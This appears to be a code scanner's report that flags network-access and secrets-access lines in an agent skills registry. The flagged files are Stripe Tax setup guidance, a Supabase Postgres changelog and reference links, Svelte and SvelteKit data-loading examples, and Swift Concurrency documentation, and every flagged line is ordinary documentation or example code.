**What Stripe Tax does:** tax calculation, nexus threshold monitoring (Dashboard → Tax → Locations → “Needs attention” and email alerts), registration on the user’s behalf for eligible US remote sellers (“Register for me”; see Registration - Network accessline 25
**What Stripe Tax doesn’t do:** process payments that happen outside Stripe, automatically file every tax return, or support every jurisdiction (check the [supported countries list](https://docs.stripe.com/tax/supported-countries.md) for cu - Network accessline 31
Use Stripe Tax for any subscription, invoice, or Checkout Session where the user has customers across multiple jurisdictions. It handles sales tax, VAT, and GST based on the customer’s location and the user’s active registrations. See the [ - Network accessline 35
**If you have execution access** (MCP tools or the Stripe CLI with a valid token), read the account’s current Tax Settings first — the [Tax Settings API](https://docs.stripe.com/api/tax/settings.md) or Dashboard → Tax → Settings — before yo - Network accessline 37
1. Set a head office address in Tax Settings (Dashboard → Tax → Settings). If you attempt to add any registrations without it, you get an `invalid_request_error`. The settings `status` property returns `pending` until the head office addres - Network accessline 38
2. Add a registration for each jurisdiction where the user is obligated to collect tax, using the [Tax Registrations API](https://docs.stripe.com/api/tax/registrations.md) or the [Dashboard](https://docs.stripe.com/tax/registering.md). Afte - Network accessline 39
3. Pass `automatic_tax: { enabled: true }` on the [Subscription](https://docs.stripe.com/api/subscriptions.md), [Invoice](https://docs.stripe.com/api/invoices.md), or [Checkout Session](https://docs.stripe.com/api/checkout/sessions.md) obje - Network accessline 47
**Traps to avoid:** `automatic_tax` can’t coexist with manual [tax_rates](https://docs.stripe.com/tax/tax-rates.md) (explicit rate objects) on the same object. Enabling it while any `default_tax_rates` or item-level `tax_rates` remain is re - Network accessline 49
**EU VAT registrations:** Don’t choose a registration scheme from a general setup request. Direct the user to [tax guidance for the European Union](https://docs.stripe.com/tax/supported-countries/european-union.md) and their tax advisor to - Network accessline 53
After enabling `automatic_tax`, don’t assume the setup is complete: tax is only collected after the user has an active registration in the customer’s jurisdiction. Have the user confirm their registrations with the [Tax Registrations API](h - Network accessline 55
**If you have execution access** (MCP tools or the Stripe CLI with a valid token), run a test [Tax Calculation](https://docs.stripe.com/api/tax/calculations.md) with a customer address in the target jurisdiction and the product’s tax code. - Network accessline 58
- Any other reason means the calculation worked, including when the tax is zero. Zero is *correct* for an exempt tax code or an exempt customer. Report the reason to the user and have them confirm with their tax advisor that it’s expected f - Network accessline 60
- If you only have read or advisory access, don’t claim it’s verified. Point the user to [Testing Stripe Tax](https://docs.stripe.com/tax/testing.md) to run the check themselves in a sandbox. - Network accessline 64
For subscriptions and invoices using Customer v1, Stripe uses the first viable source in this order: (1) shipping address, (2) billing address on the Customer object, (3) billing details from the most-specific payment method, and (4) custom - Network accessline 72
- Never invent, guess, or hardcode a `txcd_` from memory. The exact value must come from Stripe’s canonical list: the [Tax Codes API](https://docs.stripe.com/api/tax_codes.md) or the [tax code guide](https://docs.stripe.com/tax/tax-codes.md - Network accessline 73
- Don’t default to the generic **General - Electronically Supplied Services** (`txcd_10000000`) for US sales. It’s too broad for US state-level taxability; pick a specific digital or SaaS code. See [tax codes for digital products](https://d - Network accessline 74
- Show the candidate codes and let the user confirm; don’t decide which code is legally correct for them. (Tax code goes on the Product, `tax_behavior` on the Price. See [product tax codes and tax behavior](https://docs.stripe.com/tax/produ - Network accessline 75
- When you tell the user which code you set or recommend, link the [Tax Codes API](https://docs.stripe.com/api/tax_codes.md) or the [tax code guide](https://docs.stripe.com/tax/tax-codes.md) in the same response, in addition to the `txcd_` - Network accessline 81
The reason worth calling out is **`not_collecting`, which is ambiguous**: it means either **no active registration** in the customer’s jurisdiction (the usual cause; check registrations with the [Tax Registrations API](https://docs.stripe.c - Network accessline 83
For all other `taxability_reason` values — `reverse_charge`, `customer_exempt`, `not_subject_to_tax`, `product_exempt`, `zero_rated`, `vat_exempt`, `standard_rated` — see [Zero tax amounts and reverse charges](https://docs.stripe.com/tax/ze - Network accessline 93
Don’t promise that a configuration change will correct completed transactions. Use [tax reports](https://docs.stripe.com/tax/reports.md) to understand recorded activity, and direct questions about historical obligations to the user’s tax ad - Network accessline 97
Identify the integration before explaining a refund. Stripe Tax doesn’t have one refund behavior for every integration. For PaymentIntents, [the simplified Stripe Tax integration](https://docs.stripe.com/tax/payment-intent/simplified.md) au - Network accessline 101
Every integration needs a resolvable customer address and an active registration in that jurisdiction. It also needs a product tax code and a `tax_behavior`, set on the product/price, or falling back to the account’s [preset tax code and de - Network accessline 103
- **Checkout Sessions**: set `automatic_tax: { enabled: true }`. For a new customer, Checkout collects the address it needs, so don’t force `billing_address_collection: 'required'` (unnecessary for tax, and it adds checkout friction). For a - Network accessline 104
- **Invoices**: set `automatic_tax: { enabled: true }` on the invoice; the customer needs a saved address. See the [Invoices API](https://docs.stripe.com/api/invoices.md). - Network accessline 105
- **Subscriptions**: set `automatic_tax: { enabled: true }`; clear existing `tax_rates` first (see Traps to avoid). See the [Subscriptions API](https://docs.stripe.com/api/subscriptions.md). - Network accessline 106
- **Payment Links**: set `automatic_tax: { enabled: true }`. Collect customers’ addresses when more location precision is needed. The Dashboard’s address-collection setting is optional; follow [the Payment Links guide](https://docs.stripe.c - Network accessline 107
- **Custom PaymentIntents**: there’s no `automatic_tax` field, so this path is easy to under-build. Create a [tax calculation](https://docs.stripe.com/api/tax/calculations.md) with the customer’s address, set the PaymentIntent `amount` to t - Network accessline 109
For B2B or reverse-charge treatment, collect the customer’s tax ID (`tax_id_collection: { enabled: true }` on Checkout, or store it on the [Customer](https://docs.stripe.com/billing/customer/tax-ids.md)). Without a valid tax ID, Stripe Tax - Network accessline 113
For a Connect platform or marketplace, first determine which entity collects and remits the tax: the platform or the connected account. This is a legal determination, so route the final call to the user’s tax advisor rather than inferring i - Network accessline 117
- Set the liable entity with `automatic_tax.liability` on Checkout, Invoices, Subscriptions, or Payment Links: `{ type: 'self' }` uses the platform’s tax settings and registrations, while `{ type: 'account', account: '<id>' }` uses the conn - Network accessline 118
- Registrations and tax settings belong to the liable entity. When the connected account is liable, confirm its [tax settings](https://docs.stripe.com/tax/settings-api.md) `status` is `active` before enabling `automatic_tax` on its payments - Network accessline 124
The [threshold monitoring](https://docs.stripe.com/tax/monitoring.md) tool highlights *potential* registration obligations in Dashboard → Tax → Locations → Needs attention. Stripe sends email and Dashboard alerts. The public guide documents - Network accessline 132
- The [Tax Registrations API](https://docs.stripe.com/api/tax/registrations.md) can list, create, update, and expire registrations (set `expires_at` to expire; there’s no delete). A scheduled expiration can be changed, but an expiration tha - Network accessline 138
- **Register themselves, then record it in Stripe**: the user registers directly with the relevant tax authority and obtains their registration number. Then they add the registration in Stripe using that number through the [Tax Registration - Network accessline 139
- **Ask Stripe to register (US only)**: with Registration as a Service (“Register for me”), Stripe submits the registration to the tax authority and adds the completed registration to the Dashboard, so the user doesn’t record it separately. - Network accessline 140
- **Register outside the US with Taxually**: Taxually can help businesses register with local tax authorities outside the United States. Availability varies by country and plan, so direct the user to [Register outside the US with Taxually]( - Network accessline 142
**Reporting and filing.** Collecting with Stripe Tax doesn’t file a return by itself. Use [TaxJar filing](https://docs.stripe.com/tax/file-with-stripe.md) for US sales tax or [a filing partner](https://docs.stripe.com/tax/filing.md) where a - Network accessline 153
Don’t guess which jurisdictions apply or add a registration without confirmation that the business is registered with the tax authority. Ask where the business sells, direct the user to their tax advisor when needed, then help them record c - Network accessline 157
Check the [supported countries list](https://docs.stripe.com/tax/supported-countries.md). If the jurisdiction isn’t listed, tell the user:
packages/autoskills/skills-registry/stripe-best-practices/references/treasury.md
- Network accessline 10
For embedded financial accounts (bank accounts, account and routing numbers, money movement), use the [v2 Financial Accounts API](https://docs.stripe.com/api/v2/core/vault/financial-accounts.md) (`POST /v2/core/vault/financial_accounts`). T - Network accessline 12
For Treasury for platforms concepts and guides, see the [Treasury for platforms overview](https://docs.stripe.com/treasury/connect.md). - Network accessline 16
Don’t use the [v1 Treasury Financial Accounts API](https://docs.stripe.com/api/treasury/financial_accounts.md) (`POST /v1/treasury/financial_accounts`) for new integrations. Existing v1 integrations continue to work.
packages/autoskills/skills-registry/supabase-postgres-best-practices/CHANGELOG.md
- Network accessline 3
## [1.6.0](https://github.com/supabase/agent-skills/compare/supabase-postgres-best-practices-v1.5.0...supabase-postgres-best-practices-v1.6.0) (2026-07-30) - Network accessline 8
* add schema-constraints reference for safe migration patterns ([#30](https://github.com/supabase/agent-skills/issues/30)) ([9b236f3](https://github.com/supabase/agent-skills/commit/9b236f3ebd65d76a2c570f19931353da9c858d5a)) - Network accessline 9
* using Supabase agent skills ([#12](https://github.com/supabase/agent-skills/issues/12)) ([7c2e389](https://github.com/supabase/agent-skills/commit/7c2e3894fddfde8eb6c77d2a8921904543b9be7a)) - Network accessline 14
* correct broken reference link in postgres best practices skill ([#58](https://github.com/supabase/agent-skills/issues/58)) ([f4e2277](https://github.com/supabase/agent-skills/commit/f4e22777fd8573537297b568c16e5a45a25927da)) - Network accessline 15
* cover SECURITY DEFINER, auth.role() deprecation, and BOLA in security checklist ([#85](https://github.com/supabase/agent-skills/issues/85)) ([133f43e](https://github.com/supabase/agent-skills/commit/133f43e8c2ffc48823ff0630c692cabecea3e3a - Network accessline 16
* **supabase-postgres-best-practices:** make skill description trigger-rich ([#194](https://github.com/supabase/agent-skills/issues/194)) ([3291216](https://github.com/supabase/agent-skills/commit/32912161e2732c3e5001c6811a76c1f8308ed0da)) - Network accessline 18
## [1.5.0](https://github.com/supabase/agent-skills/compare/supabase-postgres-best-practices-v1.4.0...supabase-postgres-best-practices-v1.5.0) (2026-07-30) - Network accessline 23
* add schema-constraints reference for safe migration patterns ([#30](https://github.com/supabase/agent-skills/issues/30)) ([9b236f3](https://github.com/supabase/agent-skills/commit/9b236f3ebd65d76a2c570f19931353da9c858d5a)) - Network accessline 24
* using Supabase agent skills ([#12](https://github.com/supabase/agent-skills/issues/12)) ([7c2e389](https://github.com/supabase/agent-skills/commit/7c2e3894fddfde8eb6c77d2a8921904543b9be7a)) - Network accessline 29
* correct broken reference link in postgres best practices skill ([#58](https://github.com/supabase/agent-skills/issues/58)) ([f4e2277](https://github.com/supabase/agent-skills/commit/f4e22777fd8573537297b568c16e5a45a25927da)) - Network accessline 30
* cover SECURITY DEFINER, auth.role() deprecation, and BOLA in security checklist ([#85](https://github.com/supabase/agent-skills/issues/85)) ([133f43e](https://github.com/supabase/agent-skills/commit/133f43e8c2ffc48823ff0630c692cabecea3e3a - Network accessline 31
* **supabase-postgres-best-practices:** make skill description trigger-rich ([#194](https://github.com/supabase/agent-skills/issues/194)) ([3291216](https://github.com/supabase/agent-skills/commit/32912161e2732c3e5001c6811a76c1f8308ed0da)) - Network accessline 33
## [1.4.0](https://github.com/supabase/agent-skills/compare/v1.3.0...v1.4.0) (2026-07-10) - Network accessline 38
* add schema-constraints reference for safe migration patterns ([#30](https://github.com/supabase/agent-skills/issues/30)) ([9b236f3](https://github.com/supabase/agent-skills/commit/9b236f3ebd65d76a2c570f19931353da9c858d5a)) - Network accessline 39
* using Supabase agent skills ([#12](https://github.com/supabase/agent-skills/issues/12)) ([7c2e389](https://github.com/supabase/agent-skills/commit/7c2e3894fddfde8eb6c77d2a8921904543b9be7a)) - Network accessline 44
* correct broken reference link in postgres best practices skill ([#58](https://github.com/supabase/agent-skills/issues/58)) ([f4e2277](https://github.com/supabase/agent-skills/commit/f4e22777fd8573537297b568c16e5a45a25927da)) - Network accessline 45
* cover SECURITY DEFINER, auth.role() deprecation, and BOLA in security checklist ([#85](https://github.com/supabase/agent-skills/issues/85)) ([133f43e](https://github.com/supabase/agent-skills/commit/133f43e8c2ffc48823ff0630c692cabecea3e3a - Network accessline 47
## [1.3.0](https://github.com/supabase/agent-skills/compare/v1.2.0...v1.3.0) (2026-06-05) - Network accessline 52
* add schema-constraints reference for safe migration patterns ([#30](https://github.com/supabase/agent-skills/issues/30)) ([9b236f3](https://github.com/supabase/agent-skills/commit/9b236f3ebd65d76a2c570f19931353da9c858d5a)) - Network accessline 53
* using Supabase agent skills ([#12](https://github.com/supabase/agent-skills/issues/12)) ([7c2e389](https://github.com/supabase/agent-skills/commit/7c2e3894fddfde8eb6c77d2a8921904543b9be7a)) - Network accessline 58
* correct broken reference link in postgres best practices skill ([#58](https://github.com/supabase/agent-skills/issues/58)) ([f4e2277](https://github.com/supabase/agent-skills/commit/f4e22777fd8573537297b568c16e5a45a25927da)) - Network accessline 59
* cover SECURITY DEFINER, auth.role() deprecation, and BOLA in security checklist ([#85](https://github.com/supabase/agent-skills/issues/85)) ([133f43e](https://github.com/supabase/agent-skills/commit/133f43e8c2ffc48823ff0630c692cabecea3e3a - Network accessline 61
## [1.2.0](https://github.com/supabase/agent-skills/compare/v1.1.1...v1.2.0) (2026-06-02) - Network accessline 66
* add schema-constraints reference for safe migration patterns ([#30](https://github.com/supabase/agent-skills/issues/30)) ([9b236f3](https://github.com/supabase/agent-skills/commit/9b236f3ebd65d76a2c570f19931353da9c858d5a)) - Network accessline 67
* using Supabase agent skills ([#12](https://github.com/supabase/agent-skills/issues/12)) ([7c2e389](https://github.com/supabase/agent-skills/commit/7c2e3894fddfde8eb6c77d2a8921904543b9be7a)) - Network accessline 72
* correct broken reference link in postgres best practices skill ([#58](https://github.com/supabase/agent-skills/issues/58)) ([f4e2277](https://github.com/supabase/agent-skills/commit/f4e22777fd8573537297b568c16e5a45a25927da)) - Network accessline 73
* cover SECURITY DEFINER, auth.role() deprecation, and BOLA in security checklist ([#85](https://github.com/supabase/agent-skills/issues/85)) ([133f43e](https://github.com/supabase/agent-skills/commit/133f43e8c2ffc48823ff0630c692cabecea3e3a
packages/autoskills/skills-registry/supabase-postgres-best-practices/SKILL.md
- Network accessline 60
- https://www.postgresql.org/docs/current/ - Network accessline 61
- https://supabase.com/docs - Network accessline 62
- https://wiki.postgresql.org/wiki/Performance_Optimization - Network accessline 63
- https://supabase.com/docs/guides/database/overview - Network accessline 64
- https://supabase.com/docs/guides/auth/row-level-security
packages/autoskills/skills-registry/supabase-postgres-best-practices/references/_contributing.md
packages/autoskills/skills-registry/supabase-postgres-best-practices/references/_template.md
- Network accessline 34
Reference: [Postgres Docs](https://www.postgresql.org/docs/current/)
packages/autoskills/skills-registry/supabase-postgres-best-practices/references/advanced-full-text-search.md
- Network accessline 55
Reference: [Full Text Search](https://supabase.com/docs/guides/database/full-text-search)
packages/autoskills/skills-registry/supabase-postgres-best-practices/references/advanced-jsonb-indexing.md
- Network accessline 49
Reference: [JSONB Indexes](https://www.postgresql.org/docs/current/datatype-json.html#JSON-INDEXING)
packages/autoskills/skills-registry/supabase-postgres-best-practices/references/conn-idle-timeout.md
- Network accessline 46
Reference: [Connection Timeouts](https://www.postgresql.org/docs/current/runtime-config-client.html#GUC-IDLE-IN-TRANSACTION-SESSION-TIMEOUT)
packages/autoskills/skills-registry/supabase-postgres-best-practices/references/conn-limits.md
- Network accessline 44
Reference: [Database Connections](https://supabase.com/docs/guides/platform/performance#connection-management)
packages/autoskills/skills-registry/supabase-postgres-best-practices/references/conn-pooling.md
- Network accessline 41
Reference: [Connection Pooling](https://supabase.com/docs/guides/database/connecting-to-postgres#connection-pooler)
packages/autoskills/skills-registry/supabase-postgres-best-practices/references/conn-prepared-statements.md
- Network accessline 46
Reference: [Prepared Statements with Pooling](https://supabase.com/docs/guides/database/connecting-to-postgres#connection-pool-modes)
packages/autoskills/skills-registry/supabase-postgres-best-practices/references/data-batch-inserts.md
- Network accessline 54
Reference: [COPY](https://www.postgresql.org/docs/current/sql-copy.html)
packages/autoskills/skills-registry/supabase-postgres-best-practices/references/data-n-plus-one.md
- Network accessline 53
Reference: [N+1 Query Problem](https://supabase.com/docs/guides/database/query-optimization)
packages/autoskills/skills-registry/supabase-postgres-best-practices/references/data-pagination.md
- Network accessline 50
Reference: [Pagination](https://supabase.com/docs/guides/database/pagination)
packages/autoskills/skills-registry/supabase-postgres-best-practices/references/data-upsert.md
- Network accessline 50
Reference: [INSERT ON CONFLICT](https://www.postgresql.org/docs/current/sql-insert.html#SQL-ON-CONFLICT)
packages/autoskills/skills-registry/supabase-postgres-best-practices/references/lock-advisory.md
- Network accessline 56
Reference: [Advisory Locks](https://www.postgresql.org/docs/current/explicit-locking.html#ADVISORY-LOCKS)
packages/autoskills/skills-registry/supabase-postgres-best-practices/references/lock-deadlock-prevention.md
packages/autoskills/skills-registry/supabase-postgres-best-practices/references/lock-short-transactions.md
- Network accessline 50
Reference: [Transaction Management](https://www.postgresql.org/docs/current/tutorial-transactions.html)
packages/autoskills/skills-registry/supabase-postgres-best-practices/references/lock-skip-locked.md
- Network accessline 54
Reference: [SELECT FOR UPDATE SKIP LOCKED](https://www.postgresql.org/docs/current/sql-select.html#SQL-FOR-UPDATE-SHARE)
packages/autoskills/skills-registry/supabase-postgres-best-practices/references/monitor-explain-analyze.md
- Network accessline 45
Reference: [EXPLAIN](https://supabase.com/docs/guides/database/inspect)
packages/autoskills/skills-registry/supabase-postgres-best-practices/references/monitor-pg-stat-statements.md
- Network accessline 55
Reference: [pg_stat_statements](https://supabase.com/docs/guides/database/extensions/pg_stat_statements)
packages/autoskills/skills-registry/supabase-postgres-best-practices/references/monitor-vacuum-analyze.md
- Network accessline 55
Reference: [VACUUM](https://supabase.com/docs/guides/database/database-size#vacuum-operations)
packages/autoskills/skills-registry/supabase-postgres-best-practices/references/query-composite-indexes.md
- Network accessline 44
Reference: [Multicolumn Indexes](https://www.postgresql.org/docs/current/indexes-multicolumn.html)
packages/autoskills/skills-registry/supabase-postgres-best-practices/references/query-covering-indexes.md
- Network accessline 40
Reference: [Index-Only Scans](https://www.postgresql.org/docs/current/indexes-index-only-scans.html)
packages/autoskills/skills-registry/supabase-postgres-best-practices/references/query-index-types.md
- Network accessline 48
Reference: [Index Types](https://www.postgresql.org/docs/current/indexes-types.html)
packages/autoskills/skills-registry/supabase-postgres-best-practices/references/query-missing-indexes.md
- Network accessline 43
Reference: [Query Optimization](https://supabase.com/docs/guides/database/query-optimization)
packages/autoskills/skills-registry/supabase-postgres-best-practices/references/query-partial-indexes.md
- Network accessline 45
Reference: [Partial Indexes](https://www.postgresql.org/docs/current/indexes-partial.html)
packages/autoskills/skills-registry/supabase-postgres-best-practices/references/schema-constraints.md
- Network accessline 80
Reference: [Constraints](https://www.postgresql.org/docs/current/ddl-constraints.html)
packages/autoskills/skills-registry/supabase-postgres-best-practices/references/schema-data-types.md
- Network accessline 46
Reference: [Data Types](https://www.postgresql.org/docs/current/datatype.html)
packages/autoskills/skills-registry/supabase-postgres-best-practices/references/schema-foreign-key-indexes.md
- Network accessline 59
Reference: [Foreign Keys](https://www.postgresql.org/docs/current/ddl-constraints.html#DDL-CONSTRAINTS-FK)
packages/autoskills/skills-registry/supabase-postgres-best-practices/references/schema-lowercase-identifiers.md
- Network accessline 55
Reference: [Identifiers and Key Words](https://www.postgresql.org/docs/current/sql-syntax-lexical.html#SQL-SYNTAX-IDENTIFIERS)
packages/autoskills/skills-registry/supabase-postgres-best-practices/references/schema-partitioning.md
- Network accessline 55
Reference: [Table Partitioning](https://www.postgresql.org/docs/current/ddl-partitioning.html)
packages/autoskills/skills-registry/supabase-postgres-best-practices/references/schema-primary-keys.md
packages/autoskills/skills-registry/supabase-postgres-best-practices/references/security-privileges.md
- Network accessline 54
Reference: [Roles and Privileges](https://supabase.com/blog/postgres-roles-and-privileges)
packages/autoskills/skills-registry/supabase-postgres-best-practices/references/security-rls-basics.md
- Network accessline 50
Reference: [Row Level Security](https://supabase.com/docs/guides/database/postgres/row-level-security)
packages/autoskills/skills-registry/supabase-postgres-best-practices/references/security-rls-performance.md
- Network accessline 63
Reference: [RLS Performance](https://supabase.com/docs/guides/database/postgres/row-level-security#rls-performance-recommendations)
packages/autoskills/skills-registry/svelte5-best-practices/references/migration.md
packages/autoskills/skills-registry/svelte5-best-practices/references/performance.md
- Network accessline 220
export const load = async ({ fetch }) => { const user = await fetch('/api/user').then(r => r.json()); // 1s - Network accessline 221
const user = await fetch('/api/user').then(r => r.json()); // 1s - Network accessline 222
const posts = await fetch(`/api/users/${user.id}/posts`).then(r => r.json()); // 1s - Network accessline 223
const comments = await fetch('/api/comments').then(r => r.json()); // 1s - Network accessline 232
export const load = async ({ fetch }) => { const [user, posts, comments] = await Promise.all([ fetch('/api/user').then(r => r.json()), - Network accessline 233
const [user, posts, comments] = await Promise.all([ fetch('/api/user').then(r => r.json()), fetch('/api/posts').then(r => r.json()), - Network accessline 234
fetch('/api/user').then(r => r.json()), - Network accessline 235
fetch('/api/posts').then(r => r.json()), - Network accessline 236
fetch('/api/comments').then(r => r.json()) - Network accessline 245
export const load = async ({ fetch }) => { const user = await fetch('/api/user').then(r => r.json()); - Network accessline 246
const user = await fetch('/api/user').then(r => r.json()); - Network accessline 248
const [posts, followers] = await Promise.all([ fetch(`/api/users/${user.id}/posts`).then(r => r.json()), - Network accessline 249
fetch(`/api/users/${user.id}/posts`).then(r => r.json()), - Network accessline 250
fetch(`/api/users/${user.id}/followers`).then(r => r.json()) - Network accessline 260
export const load = async ({ fetch }) => { const user = await fetch('/api/user').then(r => r.json()); - Network accessline 261
const user = await fetch('/api/user').then(r => r.json()); - Network accessline 263
return { user, recommendations: fetch('/api/recommendations').then(r => r.json()), - Network accessline 264
user, recommendations: fetch('/api/recommendations').then(r => r.json()), analytics: fetch('/api/analytics').then(r => r.json()) - Network accessline 265
recommendations: fetch('/api/recommendations').then(r => r.json()), - Network accessline 266
analytics: fetch('/api/analytics').then(r => r.json()) - Network accessline 289
export const load = async ({ fetch }) => { const user = await fetch('/api/user').then(r => r.json()); // 100ms - Network accessline 290
const user = await fetch('/api/user').then(r => r.json()); // 100ms - Network accessline 291
const analytics = await fetch('/api/analytics').then(r => r.json()); // 2000ms - Network accessline 298
export const load = async ({ fetch }) => { const user = await fetch('/api/user').then(r => r.json()); - Network accessline 299
const user = await fetch('/api/user').then(r => r.json()); - Network accessline 300
const analytics = fetch('/api/analytics').then(r => r.json()); // Don't await
packages/autoskills/skills-registry/svelte5-best-practices/references/sveltekit.md
- Network accessline 28
// +page.js - DANGEROUS: runs in browser! export const load = async ({ fetch }) => { const response = await fetch('https://api.stripe.com/charges', { - Network accessline 29
[Credential-related source omitted] - Network accessline 30
const response = await fetch('https://api.stripe.com/charges', { - Access to secretsline 31
[Credential-related source omitted] - Network accessline 42
export const load = async ({ fetch }) => { const response = await fetch('https://api.stripe.com/charges', { - Network accessline 43
const response = await fetch('https://api.stripe.com/charges', { - Access to secretsline 44
[Credential-related source omitted]
packages/autoskills/skills-registry/swift-concurrency/SKILL.md
- Network accessline 211
**Note**: This skill is based on the comprehensive [Swift Concurrency Course](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=skill-footer) by Antoine van der Lee.
packages/autoskills/skills-registry/swift-concurrency/references/actors.md
- Network accessline 41
> **Course Deep Dive**: This topic is covered in detail in [Lesson 5.1: Understanding actors in Swift Concurrency](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference) - Network accessline 139
> **Course Deep Dive**: This topic is covered in detail in [Lesson 5.2: An introduction to Global Actors](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference) - Network accessline 190
> **Course Deep Dive**: This topic is covered in detail in [Lesson 5.3: When and how to use @MainActor](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference) - Network accessline 293
> **Course Deep Dive**: This topic is covered in detail in [Lesson 5.4: Isolated vs. non-isolated access in actors](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference) - Network accessline 311
> **Course Deep Dive**: This topic is covered in detail in [Lesson 5.5: Using Isolated synchronous deinit](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference) - Network accessline 333
> **Course Deep Dive**: This topic is covered in detail in [Lesson 5.6: Adding isolated conformance to protocols](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference) - Network accessline 424
> **Course Deep Dive**: This topic is covered in detail in [Lesson 5.7: Understanding actor reentrancy](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference) - Network accessline 483
**Why `_ = isolation` is required**: Per [SE-0420](https://github.com/swiftlang/swift-evolution/blob/main/proposals/0420-inheritance-of-actor-isolation.md), `Task` closures only inherit isolation when "a non-optional binding of an isolated - Network accessline 492
> **Course Deep Dive**: This topic is covered in detail in [Lesson 5.8: Inheritance of actor isolation using the #isolation macro](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference - Network accessline 539
> **Course Deep Dive**: This topic is covered in detail in [Lesson 5.9: Using a custom actor executor](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference) - Network accessline 611
> **Course Deep Dive**: This topic is covered in detail in [Lesson 5.10: Using a Mutex as an alternative to actors](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference) - Network accessline 700
For migration strategies, advanced patterns, and real-world examples, see [Swift Concurrency Course](https://www.swiftconcurrencycourse.com).
packages/autoskills/skills-registry/swift-concurrency/references/async-algorithms.md
- Network accessline 58
> **See**: [AsyncAlgorithms on GitHub](https://github.com/apple/swift-async-algorithms) - Network accessline 82
dependencies: [ .package(url: "https://github.com/apple/swift-async-algorithms", from: "1.0.0") - Network accessline 83
.package(url: "https://github.com/apple/swift-async-algorithms", from: "1.0.0") - Network accessline 844
- [AsyncAlgorithms Documentation](https://github.com/apple/swift-async-algorithms)
packages/autoskills/skills-registry/swift-concurrency/references/async-await-basics.md
- Network accessline 38
> **Course Deep Dive**: This topic is covered in detail in [Lesson 2.1: Introduction to async/await syntax](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference) - Network accessline 75
> **Course Deep Dive**: This topic is covered in detail in [Lesson 2.2: Understanding the order of execution](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference) - Network accessline 122
> **Course Deep Dive**: This topic is covered in detail in [Lesson 2.3: Calling async functions in parallel using async let](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference) - Network accessline 149
func fetchUser(id: Int) async throws -> User { let url = URL(string: "https://api.example.com/users/\(id)")! - Network accessline 150
let url = URL(string: "https://api.example.com/users/\(id)")! - Network accessline 168
func createUser(_ user: User) async throws -> User { let url = URL(string: "https://api.example.com/users")! - Network accessline 169
let url = URL(string: "https://api.example.com/users")! - Network accessline 186
> **Course Deep Dive**: This topic is covered in detail in [Lesson 2.4: Performing network requests using URLSession and async/await](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-refere - Network accessline 265
For in-depth coverage of async/await patterns, error handling strategies, and real-world migration scenarios, see [Swift Concurrency Course](https://www.swiftconcurrencycourse.com).
packages/autoskills/skills-registry/swift-concurrency/references/async-sequences.md
- Network accessline 106
> **Course Deep Dive**: This topic is covered in detail in [Lesson 6.1: Working with asynchronous sequences](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference) - Network accessline 147
> **Course Deep Dive**: This topic is covered in detail in [Lesson 6.2: Using AsyncStream and AsyncThrowingStream in your code](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference) - Network accessline 557
> **Course Deep Dive**: This topic is covered in detail in [Lesson 6.3: Deciding between AsyncSequence, AsyncStream, or regular asynchronous methods](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campai - Network accessline 709
For real-world migration examples, performance patterns, and advanced stream techniques, see [Swift Concurrency Course](https://www.swiftconcurrencycourse.com).
packages/autoskills/skills-registry/swift-concurrency/references/core-data.md
- Network accessline 45
> **Course Deep Dive**: This topic is covered in detail in [Lesson 9.1: An introduction to Swift Concurrency and Core Data](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference) - Network accessline 115
> **Course Deep Dive**: This topic is covered in detail in [Lesson 9.2: Sendable and NSManageObjects](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference) - Network accessline 222
try CoreDataStore.shared.perform { context in let request = Article.fetchRequest() return try context.fetch(request) - Network accessline 223
let request = Article.fetchRequest() return try context.fetch(request) } - Network accessline 224
return try context.fetch(request) - Network accessline 230
try await CoreDataStore.shared.performInBackground { context in let request = Article.fetchRequest() let articles = try context.fetch(request) - Network accessline 231
let request = Article.fetchRequest() let articles = try context.fetch(request) articles.forEach { context.delete($0) } - Network accessline 232
let articles = try context.fetch(request) - Network accessline 250
> **Course Deep Dive**: This topic is covered in detail in [Lesson 9.3: Using a custom Actor executor for Core Data (advanced)](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference) - Network accessline 295
using request: NSFetchRequest<T> ) throws { let objects = try context.fetch(request) - Network accessline 296
) throws { let objects = try context.fetch(request) objects.forEach { context.delete($0) } - Network accessline 297
let objects = try context.fetch(request) - Network accessline 340
> **Course Deep Dive**: This topic is covered in detail in [Lesson 9.4: Autogenerated Core Data Objects and Default MainActor Isolation Conflicts](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign= - Network accessline 351
func fetchArticles() throws -> [Article] { let request = Article.fetchRequest() return try viewContext.fetch(request) - Network accessline 352
let request = Article.fetchRequest() return try viewContext.fetch(request) } - Network accessline 353
return try viewContext.fetch(request) - Network accessline 529
